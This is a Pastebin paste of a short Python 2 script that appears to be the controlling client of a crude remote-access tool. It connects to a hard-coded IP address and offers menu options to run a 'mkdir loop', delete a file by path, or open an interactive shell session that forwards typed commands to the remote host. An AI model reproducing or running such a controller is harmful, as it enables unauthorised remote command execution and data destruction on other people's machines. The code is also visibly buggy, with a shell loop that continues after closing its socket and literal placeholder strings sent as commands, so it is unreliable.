Advertisement
oaktree

client script for socket (okznokz)

May 9th, 2016
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.65 KB | None | 0 0
  1. from socket import *
  2.  
  3. def shellsesh(sockfd):
  4.     while 1:
  5.         cmd = raw_input("> ")
  6.         if cmd == "exit shell":
  7.             sockfd.close()
  8.         else:
  9.             sockfd.send(cmd)
  10.        
  11.  
  12. s = socket(AF_INET,SOCK_STREAM)
  13. print ("1) mkdir loop")
  14. print ("2) Delete file")
  15. print ("3) Shell")
  16. s.connect(("106.219.2.213",9000))
  17. snd1 = input("Enter your choice ")
  18. if snd1 == 1:
  19.     s.send('snd1')
  20.     snd2 = raw_input("Enter here folder name: ")
  21.     s.send(snd2)
  22. elif snd1 == 2:
  23.     s.send('snd2')
  24.     file_path = raw_input("Enter path: ")
  25.     s.send(file_path)
  26. elif snd1 == 3:
  27.     s.send('snd3')
  28.     shellsesh(s)
  29.    
  30. if (s): # check if s is still open
  31.     s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement